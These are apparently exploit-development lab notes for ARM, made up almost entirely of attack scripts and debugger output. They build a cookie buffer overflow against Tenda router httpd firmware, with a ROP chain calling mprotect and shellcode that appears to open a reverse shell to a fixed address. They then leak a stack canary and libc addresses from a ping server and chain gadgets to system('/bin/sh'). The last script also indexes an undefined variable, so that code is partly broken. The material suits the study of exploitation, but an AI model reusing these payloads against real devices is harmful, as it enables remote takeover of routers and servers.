#!/usr/bin/python
import urllib2
opener = urllib2.build_opener()
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak"
opener.addheaders.append(('Cookie', 'crash='+payload))
try:
f = opener.open("http://192.168.0.1")
except:
pass
Since its not in thumb mode no +1 is necessary when looking for the pattern
Lets use gdb pattern on as the payload to find the offset:
gef➤ pattern offset $r3
[+] Searching '$r3'
[+] Found at offset 460 (little-endian search) likely
Fixing the Memory Read issue¶
Since ASLR is disabled lets get a peice of memory where you can read and replace it:
gef➤ aslr
ASLR is currently disabled
gef➤ vmmap
Start End Offset Perm Path
0x40000000 0x40005000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/ld-uClibc.so.0
0x40005000 0x40006000 0x00000000 r-x [sigpage]
0x40006000 0x40007000 0x00000000 r-- [vvar]
0x40007000 0x40008000 0x00000000 r-x [vdso]
0x40008000 0x40009000 0x00000000 rw-
0x4000a000 0x4000b000 0x00000000 rw-
0x4000c000 0x4000d000 0x00004000 r-- /home/user/Tenda/squashfs-root/lib/ld-uClibc.so.0
0x4000d000 0x4000e000 0x00005000 rw- /home/user/Tenda/squashfs-root/lib/ld-uClibc.so.0
0x4000e000 0x4000f000 0x00000000 r-x /home/user/Tenda/squashfs-root/hooks.so
0x4000f000 0x40016000 0x00000000 ---
0x40016000 0x40017000 0x00000000 rw- /home/user/Tenda/squashfs-root/hooks.so
0x40017000 0x40027000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libCfm.so
0x40027000 0x4002e000 0x00000000 ---
0x4002e000 0x4002f000 0x0000f000 rw- /home/user/Tenda/squashfs-root/lib/libCfm.so
0x4002f000 0x4004a000 0x00000000 rw-
0x4004a000 0x4006b000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libcommon.so
0x4006b000 0x40073000 0x00000000 ---
0x40073000 0x40074000 0x00021000 rw- /home/user/Tenda/squashfs-root/lib/libcommon.so
0x40074000 0x4007c000 0x00000000 rw-
0x4007c000 0x40083000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libChipApi.so
0x40083000 0x4008a000 0x00000000 ---
0x4008a000 0x4008b000 0x00006000 rw- /home/user/Tenda/squashfs-root/lib/libChipApi.so
0x4008b000 0x4008d000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libvos_util.so
0x4008d000 0x40095000 0x00000000 ---
0x40095000 0x40096000 0x00002000 rw- /home/user/Tenda/squashfs-root/lib/libvos_util.so
0x40096000 0x400aa000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libz.so
0x400aa000 0x400b1000 0x00000000 ---
0x400b1000 0x400b3000 0x00013000 rw- /home/user/Tenda/squashfs-root/lib/libz.so
0x400b3000 0x400be000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libpthread.so.0
0x400be000 0x400c5000 0x00000000 ---
0x400c5000 0x400c6000 0x0000a000 r-- /home/user/Tenda/squashfs-root/lib/libpthread.so.0
0x400c6000 0x400cb000 0x0000b000 rw- /home/user/Tenda/squashfs-root/lib/libpthread.so.0
0x400cb000 0x400cd000 0x00000000 rw-
0x400cd000 0x400ce000 0x00000000 r-x /home/user/Tenda/squashfs-root/usr/lib/libnvram.so
0x400ce000 0x400d5000 0x00000000 ---
0x400d5000 0x400d6000 0x00000000 rw- /home/user/Tenda/squashfs-root/usr/lib/libnvram.so
0x400d6000 0x400e6000 0x00000000 r-x /home/user/Tenda/squashfs-root/usr/lib/libshared.so
0x400e6000 0x400ed000 0x00000000 ---
0x400ed000 0x400ef000 0x0000f000 rw- /home/user/Tenda/squashfs-root/usr/lib/libshared.so
0x400ef000 0x40151000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libtpi.so
0x40151000 0x40159000 0x00000000 ---
0x40159000 0x4015a000 0x00062000 rw- /home/user/Tenda/squashfs-root/lib/libtpi.so
0x4015a000 0x4018c000 0x00000000 rw-
0x4018c000 0x4019b000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libm.so.0
0x4019b000 0x401a3000 0x00000000 ---
0x401a3000 0x401a4000 0x0000f000 r-- /home/user/Tenda/squashfs-root/lib/libm.so.0
0x401a4000 0x401a5000 0x00010000 rw- /home/user/Tenda/squashfs-root/lib/libm.so.0
0x401a5000 0x401ce000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libucapi.so
0x401ce000 0x401d6000 0x00000000 ---
0x401d6000 0x401d7000 0x00029000 rw- /home/user/Tenda/squashfs-root/lib/libucapi.so
0x401d7000 0x401d9000 0x00000000 rw-
0x401d9000 0x401e3000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libgcc_s.so.1
0x401e3000 0x401ea000 0x00000000 ---
0x401ea000 0x401eb000 0x00009000 rw- /home/user/Tenda/squashfs-root/lib/libgcc_s.so.1
0x401eb000 0x40250000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libc.so.0
Fix the Memory read error:
#!/usr/bin/python
import urllib2
from struct import pack
opener = urllib2.build_opener()
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaae"
# Lets choose a memory address that has read access
# We choose 0x40073000 0x40074000 0x00021000 rw- /home/user/Tenda/squashfs-root/lib/libcommon.so
# Now we modify it a bit so their is no null bytes in the payload
payload += pack('<I', 0x40073001)
payload += "qaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj"
opener.addheaders.append(('Cookie', 'crash='+payload))
try:
f = opener.open("http://192.168.0.1")
except:
pass
Now we have control over the Instruction Pointer:
gef➤ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$r0 : 0x0
$r1 : 0x40259268 → 0x00000000
$r2 : 0x0
$r3 : 0x0
$r4 : 0x6561616a ("jaae"?)
$r5 : 0x6561616b ("kaae"?)
$r6 : 0x6561616c ("laae"?)
$r7 : 0x6561616d ("maae"?)
$r8 : 0xe994 → <_init+0> mov r12, sp
$r9 : 0x2e158 → ldr r0, [pc, #64] ; (0x2e19c)
$r10 : 0xbefff708 → 0x00000000
$r11 : 0x6561616e ("naae"?)
$r12 : 0x400c5edc → 0x400bba50 → 0xe1a03000
$sp : 0xbeffeca8 → 0x40073001 → 0xac4004d8
$lr : 0x400b9764 → 0xea000012
$pc : 0x6561616e ("naae"?)
$cpsr : [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xbeffeca8│+0x00: 0x40073001 → 0xac4004d8 ← $sp
0xbeffecac│+0x04: "qaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafda[...]"
0xbeffecb0│+0x08: "raaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafea[...]"
0xbeffecb4│+0x0c: "saaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffa[...]"
0xbeffecb8│+0x10: "taaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafga[...]"
0xbeffecbc│+0x14: "uaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafha[...]"
0xbeffecc0│+0x18: "vaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafia[...]"
0xbeffecc4│+0x1c: "waaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafja[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:arm:thumb ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6561616e
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "httpd", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x6561616e in ?? ()
gef➤ pattern search $pc+1
[+] Searching '$pc+1'
[+] Found at offset 456 (little-endian search) likely
gef➤ pattern search $pc+1
[+] Searching '$pc+1'
[+] Found at offset 456 (little-endian search) likely
gef➤ pattern search $r4+1
[+] Searching '$r4+1'
[+] Found at offset 440 (little-endian search) likely
[+] Found at offset 1016 (big-endian search)
gef➤ pattern search $r5+1
[+] Searching '$r5+1'
[+] Found at offset 444 (little-endian search) likely
gef➤ pattern search $r6+1
[+] Searching '$r6+1'
[+] Found at offset 448 (little-endian search) likely
gef➤ pattern search $r7+1
[+] Searching '$r7+1'
[+] Found at offset 452 (little-endian search) likely
gef➤ pattern search $r11+1
[+] Searching '$r11+1'
[+] Found at offset 456 (little-endian search) likely
Making the ROP Chain¶
Mprotect needs some setup
1. Get 0x07 in to the R2 Register
2. Get a large size into the R1 register
3. Get the start of the stack page in r0
4. Setup the lr register to a gadget to return back to the rop chain after
Finding ROP Chains:
user@Azeria-Lab-VM:~/Downloads/libc$ ropper --file ./libc.so.0 --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc.so.0/ELF/ARM)> search add r2, r2, #0x20
[INFO] Searching for gadgets: add r2, r2, #0x20
[INFO] File: ./libc.so.0
0x00052974: add r2, r2, #0x20; and r0, r0, #3; add r0, r2, r0; pop {r4, pc};
(libc.so.0/ELF/ARM)> search /1/ mov r0, sp
[INFO] Searching for gadgets: mov r0, sp
[INFO] File: ./libc.so.0
0x00040cb8: mov r0, sp; blx r3;
(libc.so.0/ELF/ARM)> search and r0, r0, r5
[INFO] Searching for gadgets: and r0, r0, r5
[INFO] File: ./libc.so.0
0x0001908c: and r0, r0, r5; pop {r3, r4, r5, pc};
(libc.so.0/ELF/ARM)> arch ARMTHUMB
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc.so.0/ELF/ARMTHUMB)> search bx sp
[INFO] Searching for gadgets: bx sp
[INFO] File: ./libc.so.0
0x000061d4 (0x000061d5): bx sp;
Adding to the payload:
#!/usr/bin/python
import urllib2
import sys
from struct import pack
opener = urllib2.build_opener()
def pack_input(input):
return pack('<I',input)
#base address for libc.so.0
#0x401eb000 0x40250000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libc.so.0
libc_base = 0x401eb000
mprotect_address = 0x00016760
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0e\xa1\x4a\x70\x8a\x71\x10\x22\x02\x37\x01\xdf\xc0\x46\xc0\x46\xc0\x46\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\x01\x91\x02\x91\x01\x90\x01\xa9\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\xfe\x2f\x62\x69\x6e\x2f\x73\x68\x58"
payload = "A"*440
# This value will be in R4
payload += "BBBB"
# This value will be in R5
payload += "CCCC"
# This value will be in R6
payload += "DDDD"
# This value will be in R7
payload += "EEEE"
# This value will be in R11 and PC
# This will be the first thing executed in the ROP chain
# Set up trap on R3
# 0x00018298: pop {r3, pc};
payload += pack('<I', libc_base + 0x00018298)
# This is the value that needs to be in a readable location
# lets choose an offset from libc.so since we already have that address hard coded
# Their must be no null bytes in the payload
# Since this will also be put in the r3 register and used for the blx jump lets set up the second gadget in the ROP chain
# This will also be put in to r3
# Trap Gadget
# 0x00014b04: pop {r7, pc};
payload += pack('<I', libc_base + 0x00014b04)
### SETTING THE PROTECTION FLAG (r2=7)
# Lets get the Values in to R1 and R2 that when subtracted equal 7
# 0x00015f0c: pop {r1, r2, r3, pc};
payload += pack('<I', libc_base + 0x00015f0c)
#Trash that will be put in r1
payload += "FFFF"
# 0x07 - 0x20 underflow value for R2
payload += pack('<I', (0xFFFFFFFF - (0x20 - 7 - 1)))
# Overwrite the trap gadget with the same trap gadget
# Trap Gadget
# 0x00014b04: pop {r7, pc};
payload += pack('<I', libc_base + 0x00014b04)
#0x00052974: add r2, r2, #0x20; and r0, r0, #3; add r0, r2, r0; pop {r4, pc};
payload += pack('<I', libc_base + 0x00052974)
#Garbage that is put in to R4
payload += "GGGG"
### FINISHED SETTING THE PROTECTION FLAG
### STARTING THE STACK VALUE WITH OFFSET TO R0
#Trap Gadget
#0x00040cb8: mov r0, sp; blx r3;
payload += pack('<I', libc_base + 0x00040cb8)
#Garbage that is put in to R7 by trap gadget
payload += "HHHH"
#0x00015210: pop {r4, r5, pc};
payload += pack('<I', libc_base + 0x00015210)
#Garbage that is put in to R4
payload += "IIII"
#0xfffff001 that will be used to get the page alignment This is popped in to the R5 register
payload += pack('<I', 0xfffff001)
#0x0001908c: and r0, r0, r5; pop {r3, r4, r5, pc};
payload += pack('<I', libc_base + 0x0001908c)
payload += "JJJJ"
payload += "KKKK"
payload += "LLLL"
### FINISHED SETTING THE STACK VALUE WITH OFFSET TO R0
# Setting the length for MProtect
# 0x0005b028: pop {r1, pc};
# This will also be the length for the mprotect
payload += pack('<I', libc_base + 0x0005b028)
payload += pack('<I', 0x01010101)
#Set the lr register for the return from mprotect
# 0x00043330: pop {lr}; add sp, sp, #8; bx lr;
payload += pack('<I', libc_base + 0x00043330)
#0x00014b04: pop {r7, pc};
payload += pack('<I', libc_base + 0x00014b04)
#padding for the Stack increase
payload += "MMMM"
payload += "NNNN"
#garbage value to be put in to r7
payload += "OOOO"
#Mprotect offset
payload +=pack('<I', libc_base + mprotect_address)
#garbage value to be put in to r7
payload += "OOOO"
# 0x000061d5: bx sp;
payload += pack('<I', libc_base+0x000061d5)
payload += shellcode
opener.addheaders.append(('Cookie', 'crash='+payload))
try:
f = opener.open("http://192.168.0.1")
except:
print("Unexpected error:", sys.exc_info()[0])
raise
Bypassing ASLR and stack canaries with Information Leaks¶
- First thing to do is to leak the libc base address.
- Then leak the stack canary on the stack
- Overwrite the stack.
- Overwrite the stack canary.
- Do math to get base libc offset
- Make ROP chain with base libc offset
Leaking the libc base address¶
Find the Server PID:
user@azeria-labs-arm:~$ ps aux |grep ping
user 422 0.1 0.0 1392 324 pts/0 S+ 06:18 0:00 ./pingserver_canaries
user 425 0.0 0.0 3792 468 pts/1 S+ 06:18 0:00 grep ping
Find the Servers mappings:
user@azeria-labs-arm:~$ cat /proc/422/maps
0043a000-0043b000 r-xp 00000000 fe:02 261057 /home/user/infoleak/pingserver_canaries
0044a000-0044b000 r--p 00000000 fe:02 261057 /home/user/infoleak/pingserver_canaries
0044b000-0044c000 rw-p 00001000 fe:02 261057 /home/user/infoleak/pingserver_canaries
0044c000-0046d000 rw-p 00000000 00:00 0 [heap]
b6e94000-b6f76000 r-xp 00000000 fe:02 10883 /lib/arm-linux-gnueabihf/libc-2.27.so
b6f76000-b6f86000 ---p 000e2000 fe:02 10883 /lib/arm-linux-gnueabihf/libc-2.27.so
b6f86000-b6f88000 r--p 000e2000 fe:02 10883 /lib/arm-linux-gnueabihf/libc-2.27.so
b6f88000-b6f89000 rw-p 000e4000 fe:02 10883 /lib/arm-linux-gnueabihf/libc-2.27.so
b6f89000-b6f8c000 rw-p 00000000 00:00 0
b6f8c000-b6fa4000 r-xp 00000000 fe:02 10876 /lib/arm-linux-gnueabihf/ld-2.27.so
b6fb2000-b6fb4000 rw-p 00000000 00:00 0
b6fb4000-b6fb5000 r--p 00018000 fe:02 10876 /lib/arm-linux-gnueabihf/ld-2.27.so
b6fb5000-b6fb6000 rw-p 00019000 fe:02 10876 /lib/arm-linux-gnueabihf/ld-2.27.so
bed5e000-bed7f000 rw-p 00000000 00:00 0 [stack]
bee39000-bee3a000 r-xp 00000000 00:00 0 [sigpage]
bee3a000-bee3b000 r--p 00000000 00:00 0 [vvar]
bee3b000-bee3c000 r-xp 00000000 00:00 0 [vdso]
ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
Leak Values from the servers stack:
#!/usr/bin/python
import socket
import sys
from struct import pack
from struct import unpack
# helper function to read incoming data as uint32_ts, returned as an
# indexable array.
def recv_uint32s(sock, nInts):
r = [0] * nInts
#print("Receving {}".format(nInts))
for i in range(nInts):
r[i] = unpack('<I', sock.recv(4))[0]
return r
if __name__ == '__main__':
ping_header_size = 12
data = 'B'*16
number_to_receve = 64
# connect to the ping server
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect( ('192.168.0.1', 9999 ) )
# build a ping:
ping = pack('<I', 0x11223344) # ping magic bytes 11223344
ping += pack('<I', ping_header_size + len(data)) # ping data size = header + data_length
ping += pack('<I', number_to_receve*4) # ping
ping += data # 8 bytes of ping data
sock1.sendall(ping)
# wait for the result
stack_values = recv_uint32s(sock1, number_to_receve) # wait for 2 uint_32ts (8 bytes) to be
# returned. x is an array, i.e. x[0] is
# the first element, x[1] is the second.
for i, x in enumerate(stack_values):
print "Reading from stack index: {0} , value: {1:x}".format(i, x)
First Output:
user@Azeria-Lab-VM:~/Downloads/infoleak$ python ping-leaking.py
Reading from stack index: 0 , value: 42424242
Reading from stack index: 1 , value: 42424242
Reading from stack index: 2 , value: 42424242
Reading from stack index: 3 , value: 42424242
Reading from stack index: 4 , value: 45ceb400
Reading from stack index: 5 , value: 0
Reading from stack index: 6 , value: 44b000
Reading from stack index: 7 , value: bed7e598
Reading from stack index: 8 , value: 43a96f
Reading from stack index: 9 , value: 4
Reading from stack index: 10 , value: 885
Reading from stack index: 11 , value: 1
Reading from stack index: 12 , value: 10
Reading from stack index: 13 , value: 3
Reading from stack index: 14 , value: 0
Reading from stack index: 15 , value: 0
Reading from stack index: 16 , value: 0
Reading from stack index: 17 , value: 4
Reading from stack index: 18 , value: 3cb50002
Reading from stack index: 19 , value: fe00a8c0
Reading from stack index: 20 , value: 0
Reading from stack index: 21 , value: 0
Reading from stack index: 22 , value: 45ceb400
Reading from stack index: 23 , value: 0
Reading from stack index: 24 , value: bed7e5e8
Reading from stack index: 25 , value: 0
Reading from stack index: 26 , value: b6eab067
Reading from stack index: 27 , value: b6f88000
Reading from stack index: 28 , value: bed7e724
Reading from stack index: 29 , value: 1
Reading from stack index: 30 , value: 43a861
Reading from stack index: 31 , value: 2573e36b
Reading from stack index: 32 , value: 2d4eb688
Reading from stack index: 33 , value: 0
Reading from stack index: 34 , value: 43a9b5
Reading from stack index: 35 , value: b6f88000
Reading from stack index: 36 , value: 0
Reading from stack index: 37 , value: 0
Reading from stack index: 38 , value: 0
Reading from stack index: 39 , value: 44b000
Reading from stack index: 40 , value: 0
Reading from stack index: 41 , value: 0
Reading from stack index: 42 , value: 0
Reading from stack index: 43 , value: 0
Reading from stack index: 44 , value: 0
Reading from stack index: 45 , value: 0
Reading from stack index: 46 , value: 0
Reading from stack index: 47 , value: 0
Reading from stack index: 48 , value: 0
Reading from stack index: 49 , value: 0
Reading from stack index: 50 , value: 0
Reading from stack index: 51 , value: 0
Reading from stack index: 52 , value: 0
Reading from stack index: 53 , value: 0
Reading from stack index: 54 , value: 0
Reading from stack index: 55 , value: 0
Reading from stack index: 56 , value: 0
Reading from stack index: 57 , value: 1
Reading from stack index: 58 , value: b6fb5970
Reading from stack index: 59 , value: b6fb5b28
Reading from stack index: 60 , value: b6fb5b28
Reading from stack index: 61 , value: 20
Reading from stack index: 62 , value: bed7e72c
Reading from stack index: 63 , value: 0
Kill the server and restart it to find what values have changed and which have stayed the same
Second Output:
user@Azeria-Lab-VM:~/Downloads/infoleak$ python ping-leaking.py
Reading from stack index: 0 , value: 42424242
Reading from stack index: 1 , value: 42424242
Reading from stack index: 2 , value: 42424242
Reading from stack index: 3 , value: 42424242
Reading from stack index: 4 , value: 37f1b400
Reading from stack index: 5 , value: 0
Reading from stack index: 6 , value: 4f1000
Reading from stack index: 7 , value: bedcd598
Reading from stack index: 8 , value: 4e096f
Reading from stack index: 9 , value: 4
Reading from stack index: 10 , value: 885
Reading from stack index: 11 , value: 1
Reading from stack index: 12 , value: 10
Reading from stack index: 13 , value: 3
Reading from stack index: 14 , value: 0
Reading from stack index: 15 , value: 0
Reading from stack index: 16 , value: 0
Reading from stack index: 17 , value: 4
Reading from stack index: 18 , value: 40b50002
Reading from stack index: 19 , value: fe00a8c0
Reading from stack index: 20 , value: 0
Reading from stack index: 21 , value: 0
Reading from stack index: 22 , value: 37f1b400
Reading from stack index: 23 , value: 0
Reading from stack index: 24 , value: bedcd5e8
Reading from stack index: 25 , value: 0
Reading from stack index: 26 , value: b6ecf067
Reading from stack index: 27 , value: b6fac000
Reading from stack index: 28 , value: bedcd724
Reading from stack index: 29 , value: 1
Reading from stack index: 30 , value: 4e0861
Reading from stack index: 31 , value: 59ed4c65
Reading from stack index: 32 , value: 51dd6986
Reading from stack index: 33 , value: 0
Reading from stack index: 34 , value: 4e09b5
Reading from stack index: 35 , value: b6fac000
Reading from stack index: 36 , value: 0
Reading from stack index: 37 , value: 0
Reading from stack index: 38 , value: 0
Reading from stack index: 39 , value: 4f1000
Reading from stack index: 40 , value: 0
Reading from stack index: 41 , value: 0
Reading from stack index: 42 , value: 0
Reading from stack index: 43 , value: 0
Reading from stack index: 44 , value: 0
Reading from stack index: 45 , value: 0
Reading from stack index: 46 , value: 0
Reading from stack index: 47 , value: 0
Reading from stack index: 48 , value: 0
Reading from stack index: 49 , value: 0
Reading from stack index: 50 , value: 0
Reading from stack index: 51 , value: 0
Reading from stack index: 52 , value: 0
Reading from stack index: 53 , value: 0
Reading from stack index: 54 , value: 0
Reading from stack index: 55 , value: 0
Reading from stack index: 56 , value: 0
Reading from stack index: 57 , value: 1
Reading from stack index: 58 , value: b6fd9970
Reading from stack index: 59 , value: b6fd9b28
Reading from stack index: 60 , value: b6fd9b28
Reading from stack index: 61 , value: 20
Reading from stack index: 62 , value: bedcd72c
Reading from stack index: 63 , value: 0
Looking at the values
Index 4 == index 22 but change when the server is restarted
Index 26, 58, 59, 60 are in the libc address range are are good to get the base offset from
Finding ROP Chains¶
#!/usr/bin/python
import socket
import sys
from struct import pack
from struct import unpack
# helper function to read incoming data as uint32_ts, returned as an
# indexable array.
def recv_uint32s(sock, nInts):
r = [0] * nInts
#print("Receving {}".format(nInts))
for i in range(nInts):
r[i] = unpack('<I', sock.recv(4))[0]
return r
if __name__ == '__main__':
ping_header_size = 12
data = 'B'*16
number_to_receve = 64
# connect to the ping server
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect( ('192.168.0.1', 9999 ) )
# build a ping:
ping = pack('<I', 0x11223344) # ping magic bytes 11223344
ping += pack('<I', ping_header_size + len(data)) # ping data size = header + data_length
ping += pack('<I', number_to_receve*4) # ping
ping += data # 8 bytes of ping data
sock1.sendall(ping)
# wait for the result
stack_values = recv_uint32s(sock1, number_to_receve)
#for i, x in enumerate(stack_values):
# if x[i] != 0:
# print "Reading from stack index: {0} , value: {1:x}".format(i, x)
stack_canary = x[22]
print("Stack Cannary: 0x{:x}".format(stack_canary))
libc_info_leak = x[26]
print("Stack Info Leak: 0x{:x}".format(libc_info_leak))
# user@azeria-labs-arm:~$ cat /proc/422/maps
# b6e94000-b6f76000 r-xp 00000000 fe:02 10883 /lib/arm-linux-gnueabihf/libc-2.27.so
#
# Reading from stack index: 26 , value: b6ecf067
libc_offset = 0x0003B067 # From 0xb6e94000 - 0xb6ecf067
libc_base_address = libc_info_leak - libc_offset
print("Libc Offset: 0x{:x}".format(libc_base_address))
#Starting Second Ping Request
# Padding
data2 = 'A'*16
# Stack Canary from info leak
data2 += pack('<I', stack_canary )
# Padding between stack cannary and r4
data2 += 'BBBB'
#Padding for the R4 address
data2 += '4444'
#Padding for the R7 address
data2 += '7777'
# First Gadget to set R3 Trap function -> 0x0002456e (0x0002456f): pop {r3, pc};
data2 += pack('<I', libc_base_address + 0x0002456f)
# Set Trap function in R3 -> 0x0001774a (0x0001774b): pop {r4, pc};
data2 += pack('<I', libc_base_address + 0x0001774b)
# Second Gadget to get sp to r1 -> 0x000755f4 (0x000755f5): mov r1, sp; blx r3;
data2 += pack('<I', libc_base_address + 0x000755f5)
# Garbage r4 data from trap function
data2 += 'DDDD'
#Third Gadget
#move the old stack pointer to R0 -> 0x00057066 (0x00057067): mov r0, r1; blx r3;
data2 += pack('<I', libc_base_address + 0x00057067)
#Setup Offset in R4 for Add to R0 (SP copy)
data2 += pack('<I', 24)
#Fourth Gadget -> 0x000594b4 (0x000594b5): add r0, r4; pop {r4, pc};
data2 += pack('<I', libc_base_address + 0x000594b5)
# Garbage R4 data
data2 += 'EEEE'
#R4 System address for the blx
data2 += pack('<I', libc_base_address + 0x0002d48d)
data2 += '/bin/sh\x00'
sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2.connect( ('192.168.0.1', 9999 ) )
ping = pack('<I', 0x11223344) # ping magic bytes 11223344
ping += pack('<I', ping_header_size + len(data2)) # ping data size = header + data_length
ping += pack('<I', 0) # ping
ping += data2
sock2.sendall(ping)
x = recv_uint32s(sock2, 0)